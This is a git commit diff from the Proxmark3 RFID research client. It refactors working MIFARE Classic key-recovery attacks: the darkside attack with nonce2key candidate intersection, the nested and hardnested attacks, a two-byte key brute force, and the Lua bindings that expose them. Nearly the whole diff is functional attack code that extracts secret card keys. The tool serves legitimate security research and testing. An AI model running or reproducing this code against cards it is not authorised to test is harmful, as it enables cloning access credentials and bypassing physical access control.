part of monstermerge..

This commit is contained in:
iceman1001 2017-07-27 20:58:59 +02:00
parent 6519ae6f88
commit a8569849d6
14 changed files with 2705 additions and 1773 deletions

View file

@ -8,7 +8,6 @@
// Analyse bytes commands
//-----------------------------------------------------------------------------
#include "cmdanalyse.h"
//#include "nonce2key/nonce2key.h"
static int CmdHelp(const char *Cmd);

View file

@ -26,7 +26,7 @@
#include "mifare.h"
#include "cmdhfmf.h"
#include "cmdhfmfu.h"
#include "nonce2key/nonce2key.h"
#include "mifarehost.h"
#include "cmdhf.h"
static int CmdHelp(const char *Cmd);

View file

@ -290,119 +290,30 @@ int usage_hf14_csave(void){
}
int CmdHF14AMifare(const char *Cmd) {
uint32_t uid = 0;
uint32_t nt = 0, nr = 0;
uint64_t par_list = 0, ks_list = 0, r_key = 0;
int16_t isOK = 0;
int tmpchar;
uint8_t blockNo = 0, keytype = MIFARE_AUTH_KEYA;
uint8_t blockno = 0, key_type = MIFARE_AUTH_KEYA;
uint64_t key = 0;
char cmdp = param_getchar(Cmd, 0);
if ( cmdp == 'H' || cmdp == 'h') return usage_hf14_mifare();
blockNo = param_get8(Cmd, 0);
blockno = param_get8(Cmd, 0);
cmdp = param_getchar(Cmd, 1);
if (cmdp == 'B' || cmdp == 'b')
keytype = MIFARE_AUTH_KEYB;
UsbCommand c = {CMD_READER_MIFARE, {true, blockNo, keytype}};
key_type = MIFARE_AUTH_KEYB;
// message
printf("-------------------------------------------------------------------------\n");
printf("Executing darkside attack. Expected execution time: 25sec on average :-)\n");
printf("Press button on the proxmark3 device to abort both proxmark3 and client.\n");
printf("-------------------------------------------------------------------------\n");
clock_t t1 = clock();
time_t start, end;
time(&start);
start:
clearCommandBuffer();
SendCommand(&c);
//flush queue
while (ukbhit()) {
tmpchar = getchar();
(void)tmpchar;
int isOK = mfDarkside(blockno, key_type, &key);
switch (isOK) {
case -1 : PrintAndLog("Button pressed. Aborted."); return 1;
case -2 : PrintAndLog("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests)."); return 1;
case -3 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator is not predictable)."); return 1;
case -4 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown");
PrintAndLog("generating polynomial with 16 effective bits only, but shows unexpected behaviour."); return 1;
case -5 : PrintAndLog("Aborted via keyboard."); return 1;
default : PrintAndLog("Found valid key: %012" PRIx64 "\n", key); break;
}
UsbCommand resp;
// wait cycle
while (true) {
printf(".");
fflush(stdout);
if (ukbhit()) {
tmpchar = getchar();
(void)tmpchar;
printf("\naborted via keyboard!\n");
break;
}
if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
isOK = resp.arg[0];
printf("\n");
uid = (uint32_t)bytes_to_num(resp.d.asBytes + 0, 4);
nt = (uint32_t)bytes_to_num(resp.d.asBytes + 4, 4);
par_list = bytes_to_num(resp.d.asBytes + 8, 8);
ks_list = bytes_to_num(resp.d.asBytes + 16, 8);
nr = bytes_to_num(resp.d.asBytes + 24, 4);
switch (isOK) {
case -1 : PrintAndLog("Button pressed. Aborted.\n"); break;
case -2 : PrintAndLog("Card isn't vulnerable to Darkside attack (doesn't send NACK on authentication requests).\n"); break;
case -3 : PrintAndLog("Card isn't vulnerable to Darkside attack (its random number generator is not predictable).\n"); break;
case -4 : PrintAndLog("Card isn't vulnerable to Darkside attack (its random number generator seems to be based on the wellknown");
PrintAndLog("generating polynomial with 16 effective bits only, but shows unexpected behaviour.\n"); break;
default: ;
}
break;
}
}
printf("\n");
// error
if (isOK != 1) return 1;
if (par_list == 0 && ks_list != 0) {
// this special attack when parities is zero, uses checkkeys. Which now with block/keytype option also needs.
// but it uses 0|1 instead of 0x60|0x61...
if (nonce2key_ex(blockNo, keytype - 0x60 , uid, nt, nr, ks_list, &r_key) ){
PrintAndLog("Trying again with a different reader nonce...");
c.arg[0] = false;
goto start;
} else {
PrintAndLog("Found valid key: %012" PRIx64 " \n", r_key);
goto END;
}
}
// execute original function from util nonce2key
if (nonce2key(uid, nt, nr, par_list, ks_list, &r_key)) {
isOK = 2;
PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);
PrintAndLog("Failing is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");
c.arg[0] = false;
goto start;
} else {
// nonce2key found a candidate key. Lets verify it.
uint8_t keyblock[] = {0,0,0,0,0,0};
num_to_bytes(r_key, 6, keyblock);
uint64_t key64 = 0;
int res = mfCheckKeys(blockNo, keytype - 0x60 , false, 1, keyblock, &key64);
if ( res > 0 ) {
PrintAndLog("Candidate Key found (%012" PRIx64 ") - Test authentication failed. [%d] Restarting darkside attack", r_key, res);
goto start;
}
PrintAndLog("Found valid key: %012" PRIx64 " \n", r_key);
}
END:
t1 = clock() - t1;
time(&end);
unsigned long elapsed_time = difftime(end, start);
if ( t1 > 0 )
PrintAndLog("Time in darkside: %.0f ticks %u seconds\n", (float)t1, elapsed_time);
PrintAndLog("");
return 0;
}
@ -926,7 +837,7 @@ int CmdHF14AMfNested(const char *Cmd) {
switch (isOK) {
case -1 : PrintAndLog("Error: No response from Proxmark.\n"); break;
case -2 : PrintAndLog("Button pressed. Aborted.\n"); break;
case -3 : PrintAndLog("Tag isn't vulnerable to Nested Attack (random number generator is not predictable).\n"); break;
case -3 : PrintAndLog("Tag isn't vulnerable to Nested Attack (PRNG is not predictable).\n"); break;
case -4 : PrintAndLog("No valid key found"); break;
case -5 :
key64 = bytes_to_num(keyBlock, 6);
@ -978,7 +889,7 @@ int CmdHF14AMfNested(const char *Cmd) {
if (!res) {
e_sector[i].Key[j] = key64;
e_sector[i].foundKey[j] = TRUE;
e_sector[i].foundKey[j] = true;
}
}
}
@ -1004,7 +915,7 @@ int CmdHF14AMfNested(const char *Cmd) {
switch (isOK) {
case -1 : PrintAndLog("Error: No response from Proxmark.\n"); break;
case -2 : PrintAndLog("Button pressed. Aborted.\n"); break;
case -3 : PrintAndLog("Tag isn't vulnerable to Nested Attack (its random number generator is not predictable).\n"); break;
case -3 : PrintAndLog("Tag isn't vulnerable to Nested Attack (PRNG is not predictable).\n"); break;
case -4 : //key not found
calibrate = false;
iterations++;
@ -1131,6 +1042,7 @@ int CmdHF14AMfNestedHard(const char *Cmd) {
bool slow = false;
int tests = 0;
if (ctmp == 'R' || ctmp == 'r') {
nonce_file_read = true;
if (!param_gethex(Cmd, 1, trgkey, 12)) {
@ -1138,6 +1050,9 @@ int CmdHF14AMfNestedHard(const char *Cmd) {
}
} else if (ctmp == 'T' || ctmp == 't') {
tests = param_get32ex(Cmd, 1, 100, 10);
if (!param_gethex(Cmd, 2, trgkey, 12)) {
know_target_key = true;
}
} else {
blockNo = param_get8(Cmd, 0);
ctmp = param_getchar(Cmd, 1);
@ -1193,8 +1108,7 @@ int CmdHF14AMfNestedHard(const char *Cmd) {
slow ? "Yes" : "No",
tests);
uint64_t foundkey = 0;
int16_t isOK = mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType, know_target_key ? trgkey : NULL, nonce_file_read, nonce_file_write, slow, tests, &foundkey);
int16_t isOK = mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType, know_target_key?trgkey:NULL, nonce_file_read, nonce_file_write, slow, tests);
if (isOK) {
switch (isOK) {
@ -1525,7 +1439,7 @@ void readerAttack(nonces_t data, bool setEmulatorMem, bool verbose) {
if (k_sector == NULL)
emptySectorTable();
success = tryMfk32_moebius(data, &key, verbose);
success = mfkey32_moebius(data, &key);
if (success) {
uint8_t sector = data.sector;
uint8_t keytype = data.keytype;

View file

@ -23,8 +23,9 @@
#include "common.h"
#include "util.h"
#include "mifare.h" // nonces_t struct
#include "mfkey.h" // mfkey32_moebious
#include "cmdhfmfhard.h"
#include "nonce2key/nonce2key.h"
#include "mifarehost.h"
extern int CmdHFMF(const char *Cmd);

File diff suppressed because it is too large Load diff

View file

@ -11,26 +11,38 @@
#ifndef CMDHFMFHARD_H__
#define CMDHFMFHARD_H__
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <pthread.h>
#include <locale.h>
#include <math.h>
#include "proxmark3.h" // time_t , PRIu32
#include "sleep.h"
#include "cmdmain.h"
#include "ui.h"
#include "util.h"
#include "nonce2key/crapto1.h"
#include "nonce2key/crypto1_bs.h"
#include "parity.h"
// don't include for APPLE/mac which has malloc stuff elsewhere.
#ifndef __APPLE__
#include <malloc.h>
#endif
#include <assert.h>
#include <stdint.h>
#include <stdbool.h>
int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests, uint64_t *foundkey);
#define NUM_SUMS 19 // number of possible sum property values
typedef struct guess_sum_a8 {
float prob;
uint64_t num_states;
uint8_t sum_a8_idx;
} guess_sum_a8_t;
typedef struct noncelistentry {
uint32_t nonce_enc;
uint8_t par_enc;
void *next;
} noncelistentry_t;
typedef struct noncelist {
uint16_t num;
uint16_t Sum;
guess_sum_a8_t sum_a8_guess[NUM_SUMS];
bool sum_a8_guess_dirty;
float expected_num_brute_force;
uint8_t BitFlips[0x400];
uint32_t *states_bitarray[2];
uint32_t num_states_bitarray[2];
bool all_bitflips_dirty[2];
noncelistentry_t *first;
} noncelist_t;
extern int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests);
extern void hardnested_print_progress(uint32_t nonces, char *activity, float brute_force, uint64_t min_diff_print_time);
#endif

View file

@ -7,34 +7,257 @@
//-----------------------------------------------------------------------------
// mifare commands
//-----------------------------------------------------------------------------
#include "mifarehost.h"
// MIFARE
extern int compar_int(const void * a, const void * b) {
static int compare_uint64(const void *a, const void *b) {
// didn't work: (the result is truncated to 32 bits)
//return (*(uint64_t*)b - *(uint64_t*)a);
//return (*(int64_t*)b - *(int64_t*)a);
// better:
if (*(uint64_t*)b > *(uint64_t*)a) return 1;
if (*(uint64_t*)b < *(uint64_t*)a) return -1;
return 0;
if (*(uint64_t*)b == *(uint64_t*)a) return 0;
if (*(uint64_t*)b < *(uint64_t*)a) return 1;
return -1;
}
//return (*(uint64_t*)b > *(uint64_t*)a) - (*(uint64_t*)b < *(uint64_t*)a);
// create the intersection (common members) of two sorted lists. Lists are terminated by -1. Result will be in list1. Number of elements is returned.
static uint32_t intersection(uint64_t *list1, uint64_t *list2) {
if (list1 == NULL || list2 == NULL)
return 0;
uint64_t *p1, *p2, *p3;
p1 = p3 = list1;
p2 = list2;
while ( *p1 != -1 && *p2 != -1 ) {
if (compare_uint64(p1, p2) == 0) {
*p3++ = *p1++;
p2++;
}
else {
while (compare_uint64(p1, p2) < 0) ++p1;
while (compare_uint64(p1, p2) > 0) ++p2;
}
}
*p3 = -1;
return p3 - list1;
}
// Darkside attack (hf mf mifare)
// if successful it will return a list of keys, not just one.
static uint32_t nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t **keys) {
struct Crypto1State *states;
uint32_t i, pos, rr;
uint8_t bt, ks3x[8], par[8][8];
uint64_t key_recovered;
static uint64_t *keylist;
rr = 0;
// Reset the last three significant bits of the reader nonce
nr &= 0xffffff1f;
for ( pos = 0; pos < 8; pos++ ) {
ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
bt = (par_info >> (pos*8)) & 0xff;
for ( i = 0; i < 8; i++) {
par[7-pos][i] = (bt >> i) & 0x01;
}
}
states = lfsr_common_prefix(nr, rr, ks3x, par, (par_info == 0));
if (!states) {
PrintAndLog("Failed getting states");
*keys = NULL;
return 0;
}
keylist = (uint64_t*)states;
for (i = 0; keylist[i]; i++) {
lfsr_rollback_word(states+i, uid^nt, 0);
crypto1_get_lfsr(states+i, &key_recovered);
keylist[i] = key_recovered;
}
keylist[i] = -1;
*keys = keylist;
return i;
}
int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key)
{
uint32_t uid = 0;
uint32_t nt = 0, nr = 0;
uint64_t par_list = 0, ks_list = 0;
uint64_t *keylist = NULL, *last_keylist = NULL;
uint32_t keycount = 0;
int16_t isOK = 0;
UsbCommand c = {CMD_READER_MIFARE, {true, blockno, key_type}};
// message
printf("-------------------------------------------------------------------------\n");
printf("Executing command. Expected execution time: 25sec on average\n");
printf("Press button on the proxmark3 device to abort both proxmark3 and client.\n");
printf("-------------------------------------------------------------------------\n");
while (true) {
clearCommandBuffer();
SendCommand(&c);
//flush queue
while (ukbhit()) {
int gc = getchar(); (void) gc;
}
// wait cycle
while (true) {
printf(".");
fflush(stdout);
if (ukbhit()) {
int gc = getchar(); (void) gc;
return -5;
break;
}
UsbCommand resp;
if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
isOK = resp.arg[0];
if (isOK < 0)
return isOK;
uid = (uint32_t)bytes_to_num(resp.d.asBytes + 0, 4);
nt = (uint32_t)bytes_to_num(resp.d.asBytes + 4, 4);
par_list = bytes_to_num(resp.d.asBytes + 8, 8);
ks_list = bytes_to_num(resp.d.asBytes + 16, 8);
nr = bytes_to_num(resp.d.asBytes + 24, 4);
break;
}
}
if (par_list == 0 && c.arg[0] == true) {
PrintAndLog("Parity is all zero. Most likely this card sends NACK on every failed authentication.");
PrintAndLog("Attack will take a few seconds longer because we need two consecutive successful runs.");
}
c.arg[0] = false;
keycount = nonce2key(uid, nt, nr, par_list, ks_list, &keylist);
if (keycount == 0) {
PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);
PrintAndLog("This is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");
continue;
}
qsort(keylist, keycount, sizeof(*keylist), compare_uint64);
keycount = intersection(last_keylist, keylist);
if (keycount == 0) {
free(last_keylist);
last_keylist = keylist;
continue;
}
if (keycount > 1) {
PrintAndLog("Found %u candidate keys. Trying to verify with authentication...\n", keycount);
} else {
PrintAndLog("Found a candidate key. Trying to verify it with authentication...\n");
}
*key = -1;
uint8_t keyBlock[USB_CMD_DATA_SIZE];
int max_keys = USB_CMD_DATA_SIZE/6;
for (int i = 0; i < keycount; i += max_keys) {
int size = keycount - i > max_keys ? max_keys : keycount - i;
for (int j = 0; j < size; j++) {
if (last_keylist == NULL) {
num_to_bytes(keylist[i*max_keys + j], 6, keyBlock);
} else {
num_to_bytes(last_keylist[i*max_keys + j], 6, keyBlock);
}
}
if (!mfCheckKeys(blockno, key_type - 0x60, false, size, keyBlock, key)) {
break;
}
}
if (*key != -1) {
free(last_keylist);
free(keylist);
break;
} else {
PrintAndLog("Test authentication failed. Restarting darkside attack");
free(last_keylist);
last_keylist = keylist;
}
}
return 0;
}
int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key){
*key = 0;
UsbCommand c = {CMD_MIFARE_CHKKEYS, { (blockNo | (keyType << 8)), clear_trace, keycnt}};
memcpy(c.d.asBytes, keyBlock, 6 * keycnt);
clearCommandBuffer();
SendCommand(&c);
UsbCommand resp;
if (!WaitForResponseTimeout(CMD_ACK, &resp, 2500)) return 1;
if ((resp.arg[0] & 0xff) != 0x01) return 2;
*key = bytes_to_num(resp.d.asBytes, 6);
return 0;
}
// PM3 imp of J-Run mf_key_brute (part 2)
// ref: https://github.com/J-Run/mf_key_brute
int mfKeyBrute(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint64_t *resultkey){
#define KEYS_IN_BLOCK 85
#define KEYBLOCK_SIZE 510
#define CANDIDATE_SIZE 0xFFFF * 6
uint8_t found = false;
uint64_t key64 = 0;
uint8_t candidates[CANDIDATE_SIZE] = {0x00};
uint8_t keyBlock[KEYBLOCK_SIZE] = {0x00};
memset(candidates, 0, sizeof(candidates));
memset(keyBlock, 0, sizeof(keyBlock));
// Generate all possible keys for the first two unknown bytes.
for (uint16_t i = 0; i < 0xFFFF; ++i) {
uint32_t j = i * 6;
candidates[0 + j] = i >> 8;
candidates[1 + j] = i;
candidates[2 + j] = key[2];
candidates[3 + j] = key[3];
candidates[4 + j] = key[4];
candidates[5 + j] = key[5];
}
uint32_t counter, i;
for ( i = 0, counter = 1; i < CANDIDATE_SIZE; i += KEYBLOCK_SIZE, ++counter){
key64 = 0;
// copy candidatekeys to test key block
memcpy(keyBlock, candidates + i, KEYBLOCK_SIZE);
// check a block of generated candidate keys.
if (!mfCheckKeys(blockNo, keyType, true, KEYS_IN_BLOCK, keyBlock, &key64)) {
*resultkey = key64;
found = true;
break;
}
// progress
if ( counter % 20 == 0 )
PrintAndLog("tried : %s.. \t %u keys", sprint_hex(candidates + i, 6), counter * KEYS_IN_BLOCK );
}
return found;
}
// Compare 16 Bits out of cryptostate
int Compare16Bits(const void * a, const void * b) {
if ((*(uint64_t*)b & 0x00ff000000ff0000) > (*(uint64_t*)a & 0x00ff000000ff0000)) return 1;
if ((*(uint64_t*)b & 0x00ff000000ff0000) < (*(uint64_t*)a & 0x00ff000000ff0000)) return -1;
return 0;
/* return
((*(uint64_t*)b & 0x00ff000000ff0000) > (*(uint64_t*)a & 0x00ff000000ff0000))
-
((*(uint64_t*)b & 0x00ff000000ff0000) < (*(uint64_t*)a & 0x00ff000000ff0000))
;
*/
if ((*(uint64_t*)b & 0x00ff000000ff0000) == (*(uint64_t*)a & 0x00ff000000ff0000)) return 0;
if ((*(uint64_t*)b & 0x00ff000000ff0000) < (*(uint64_t*)a & 0x00ff000000ff0000)) return 1;
return -1;
}
// wrapper function for multi-threaded lfsr_recovery32
@ -44,11 +267,12 @@ void* nested_worker_thread(void *arg)
StateList_t *statelist = arg;
statelist->head.slhead = lfsr_recovery32(statelist->ks1, statelist->nt ^ statelist->uid);
for (p1 = statelist->head.slhead; *(uint64_t *)p1 != 0; p1++);
for (p1 = statelist->head.slhead; *(uint64_t *)p1 != 0; p1++) {};
statelist->len = p1 - statelist->head.slhead;
statelist->tail.sltail = --p1;
qsort(statelist->head.slhead, statelist->len, sizeof(uint64_t), Compare16Bits);
return statelist->head.slhead;
}
@ -129,27 +353,13 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo
statelists[1].tail.sltail = --p4;
// the statelists now contain possible keys. The key we are searching for must be in the
// intersection of both lists. Create the intersection:
qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compar_int);
qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compar_int);
uint64_t *p5, *p6, *p7;
p5 = p7 = statelists[0].head.keyhead;
p6 = statelists[1].head.keyhead;
while (p5 <= statelists[0].tail.keytail && p6 <= statelists[1].tail.keytail) {
if (compar_int(p5, p6) == 0) {
*p7++ = *p5++;
p6++;
}
else {
while (compar_int(p5, p6) == -1) p5++;
while (compar_int(p5, p6) == 1) p6++;
}
}
statelists[0].len = p7 - statelists[0].head.keyhead;
statelists[0].tail.keytail = --p7;
// intersection of both lists
qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compare_uint64);
qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compare_uint64);
// Create the intersection
statelists[0].len = intersection(statelists[0].head.keyhead, statelists[1].head.keyhead);
//statelists[0].tail.keytail = --p7;
uint32_t numOfCandidates = statelists[0].len;
if ( numOfCandidates == 0 ) goto out;
@ -160,6 +370,7 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo
// uint32_t max_keys = keycnt > (USB_CMD_DATA_SIZE/6) ? (USB_CMD_DATA_SIZE/6) : keycnt;
uint8_t keyBlock[USB_CMD_DATA_SIZE] = {0x00};
// ugly assumption that we have less than 85 candidate keys.
for (i = 0; i < numOfCandidates; ++i){
crypto1_get_lfsr(statelists[0].head.slhead + i, &key64);
num_to_bytes(key64, 6, keyBlock + i * 6);
@ -191,65 +402,6 @@ out:
return -4;
}
int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key){
*key = 0;
UsbCommand c = {CMD_MIFARE_CHKKEYS, { (blockNo | (keyType << 8)), clear_trace, keycnt}};
memcpy(c.d.asBytes, keyBlock, 6 * keycnt);
clearCommandBuffer();
SendCommand(&c);
UsbCommand resp;
if (!WaitForResponseTimeout(CMD_ACK, &resp, 2500)) return 1;
if ((resp.arg[0] & 0xff) != 0x01) return 2;
*key = bytes_to_num(resp.d.asBytes, 6);
return 0;
}
// PM3 imp of J-Run mf_key_brute (part 2)
// ref: https://github.com/J-Run/mf_key_brute
int mfKeyBrute(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint64_t *resultkey){
#define KEYS_IN_BLOCK 85
#define KEYBLOCK_SIZE 510
#define CANDIDATE_SIZE 0xFFFF * 6
uint8_t found = false;
uint64_t key64 = 0;
uint8_t candidates[CANDIDATE_SIZE] = {0x00};
uint8_t keyBlock[KEYBLOCK_SIZE] = {0x00};
memset(candidates, 0, sizeof(candidates));
memset(keyBlock, 0, sizeof(keyBlock));
// Generate all possible keys for the first two unknown bytes.
for (uint16_t i = 0; i < 0xFFFF; ++i) {
uint32_t j = i * 6;
candidates[0 + j] = i >> 8;
candidates[1 + j] = i;
candidates[2 + j] = key[2];
candidates[3 + j] = key[3];
candidates[4 + j] = key[4];
candidates[5 + j] = key[5];
}
uint32_t counter, i;
for ( i = 0, counter = 1; i < CANDIDATE_SIZE; i += KEYBLOCK_SIZE, ++counter){
key64 = 0;
// copy candidatekeys to test key block
memcpy(keyBlock, candidates + i, KEYBLOCK_SIZE);
// check a block of generated candidate keys.
if (!mfCheckKeys(blockNo, keyType, true, KEYS_IN_BLOCK, keyBlock, &key64)) {
*resultkey = key64;
found = true;
break;
}
// progress
if ( counter % 20 == 0 )
PrintAndLog("tried : %s.. \t %u keys", sprint_hex(candidates + i, 6), counter * KEYS_IN_BLOCK );
}
return found;
}
// EMULATOR
int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount) {
UsbCommand c = {CMD_MIFARE_EML_MEMGET, {blockNum, blocksCount, 0}};

View file

@ -22,7 +22,7 @@
#include "ui.h"
#include "data.h"
#include "util.h"
#include "nonce2key/crapto1.h"
#include "crapto1/crapto1.h"
#include "iso14443crc.h"
#include "protocols.h"
#include "mifare.h"
@ -60,31 +60,31 @@ typedef struct {
uint64_t Key[2];
int foundKey[2];
} sector_t;
extern int compar_int(const void * a, const void * b);
extern char logHexFileName[FILE_PATH_SIZE];
int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t * ResultKeys, bool calibrate);
int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key);
int mfKeyBrute(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint64_t *resultkey);
extern int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key);
extern int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t * ResultKeys, bool calibrate);
extern int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key);
extern int mfKeyBrute(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint64_t *resultkey);
int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount);
int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount);
int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth);
extern int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount);
extern int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount);
extern int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth);
int mfCSetUID(uint8_t *uid, uint8_t *atqa, uint8_t *sak, uint8_t *oldUID, uint8_t wipecard);
int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params);
int mfCGetBlock(uint8_t blockNo, uint8_t *data, uint8_t params);
extern int mfCSetUID(uint8_t *uid, uint8_t *atqa, uint8_t *sak, uint8_t *oldUID, uint8_t wipecard);
extern int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params);
extern int mfCGetBlock(uint8_t blockNo, uint8_t *data, uint8_t params);
int mfTraceInit(uint8_t *tuid, uint8_t uidlen, uint8_t *atqa, uint8_t sak, bool wantSaveToEmlFile);
int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile);
extern int mfTraceInit(uint8_t *tuid, uint8_t uidlen, uint8_t *atqa, uint8_t sak, bool wantSaveToEmlFile);
extern int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile);
int isTraceCardEmpty(void);
int isBlockEmpty(int blockN);
int isBlockTrailer(int blockN);
int loadTraceCard(uint8_t *tuid, uint8_t uidlen);
int saveTraceCard(void);
int tryDecryptWord(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int len);
extern int isTraceCardEmpty(void);
extern int isBlockEmpty(int blockN);
extern int isBlockTrailer(int blockN);
extern int loadTraceCard(uint8_t *tuid, uint8_t uidlen);
extern int saveTraceCard(void);
extern int tryDecryptWord(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int len);
extern bool detect_classic_prng();
#endif

View file

@ -106,35 +106,12 @@ static int returnToLuaWithError(lua_State *L, const char* fmt, ...)
return 2;
}
static int l_nonce2key(lua_State *L){
size_t size;
const char *p_uid = luaL_checklstring(L, 1, &size);
if(size != 4) return returnToLuaWithError(L,"Wrong size of uid, got %d bytes, expected 4", (int) size);
const char *p_nt = luaL_checklstring(L, 2, &size);
if(size != 4) return returnToLuaWithError(L,"Wrong size of nt, got %d bytes, expected 4", (int) size);
const char *p_nr = luaL_checklstring(L, 3, &size);
if(size != 4) return returnToLuaWithError(L,"Wrong size of nr, got %d bytes, expected 4", (int) size);
const char *p_par_info = luaL_checklstring(L, 4, &size);
if(size != 8) return returnToLuaWithError(L,"Wrong size of par_info, got %d bytes, expected 8", (int) size);
const char *p_pks_info = luaL_checklstring(L, 5, &size);
if(size != 8) return returnToLuaWithError(L,"Wrong size of ks_info, got %d bytes, expected 8", (int) size);
uint32_t uid = bytes_to_num(( uint8_t *)p_uid,4);
uint32_t nt = bytes_to_num(( uint8_t *)p_nt,4);
uint32_t nr = bytes_to_num(( uint8_t*)p_nr,4);
uint64_t par_info = bytes_to_num(( uint8_t *)p_par_info,8);
uint64_t ks_info = bytes_to_num(( uint8_t *)p_pks_info,8);
uint64_t key = 0;
int retval = nonce2key(uid,nt, nr, par_info,ks_info, &key);
static int l_mfDarkside(lua_State *L){
// blockno, keytype
uint64_t key;
int retval = mfDarkside(0, 0, &key);
//Push the retval on the stack
lua_pushinteger(L,retval);
@ -519,7 +496,8 @@ static int l_hardnested(lua_State *L){
}
uint64_t foundkey = 0;
int retval = mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType, haveTarget ? trgkey : NULL, nonce_file_read, nonce_file_write, slow, tests, &foundkey);
// int retval = mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType, haveTarget ? trgkey : NULL, nonce_file_read, nonce_file_write, slow, tests, &foundkey);
int retval = mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType, haveTarget ? trgkey : NULL, nonce_file_read, nonce_file_write, slow, tests);
//Push the retval on the stack
lua_pushinteger(L,retval);
@ -560,7 +538,7 @@ int set_pm3_libraries(lua_State *L) {
static const luaL_Reg libs[] = {
{"SendCommand", l_SendCommand},
{"WaitForResponseTimeout", l_WaitForResponseTimeout},
{"nonce2key", l_nonce2key},
{"mfDarkside", l_mfDarkside},
//{"PrintAndLog", l_PrintAndLog},
{"foobar", l_foobar},
{"ukbhit", l_ukbhit},

View file

@ -10,6 +10,7 @@
#ifndef SCRIPTING_H__
#define SCRIPTING_H__
#include <stdlib.h>
#include <lua.h>
#include <lualib.h>
#include <lauxlib.h>
@ -17,7 +18,7 @@
#include "usb_cmd.h"
#include "cmdmain.h"
#include "util.h"
#include "nonce2key/nonce2key.h"
#include "mifarehost.h"
#include "../common/iso15693tools.h"
#include "iso14443crc.h"
#include "../common/crc.h"

View file

@ -63,90 +63,6 @@ function wait_for_mifare()
return nil, "Aborted by user"
end
function mfcrack()
core.clearCommandBuffer()
-- Build the mifare-command
local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1, arg2 = 0, arg3 = MIFARE_AUTH_KEYA}
local retry = true
while retry do
core.SendCommand(cmd:getBytes())
local key, errormessage = mfcrack_inner()
-- Success?
if key then return key end
-- Failure?
if errormessage then return nil, errormessage end
-- Try again..set arg1 to 0 this time.
cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0, arg2 = 0, arg3 = MIFARE_AUTH_KEYA}
end
return nil, "Aborted by user"
end
function mfcrack_inner()
while not core.ukbhit() do
local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
if result then
--[[
I don't understand, they cmd and args are defined as uint32_t, however,
looking at the returned data, they all look like 64-bit things:
print("result", bin.unpack("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", result))
FF 00 00 00 00 00 00 00 <-- 64 bits of data
FE FF FF FF 00 00 00 00 <-- 64 bits of data
00 00 00 00 00 00 00 00 <-- 64 bits of data
00 00 00 00 00 00 00 00 <-- 64 bits of data
04 7F 12 E2 00 <-- this is where 'data' starts
So below I use LI to pick out the "FEFF FFFF", don't know why it works..
--]]
-- Unpacking the arg-parameters
local count,cmd,isOK = bin.unpack('LI',result)
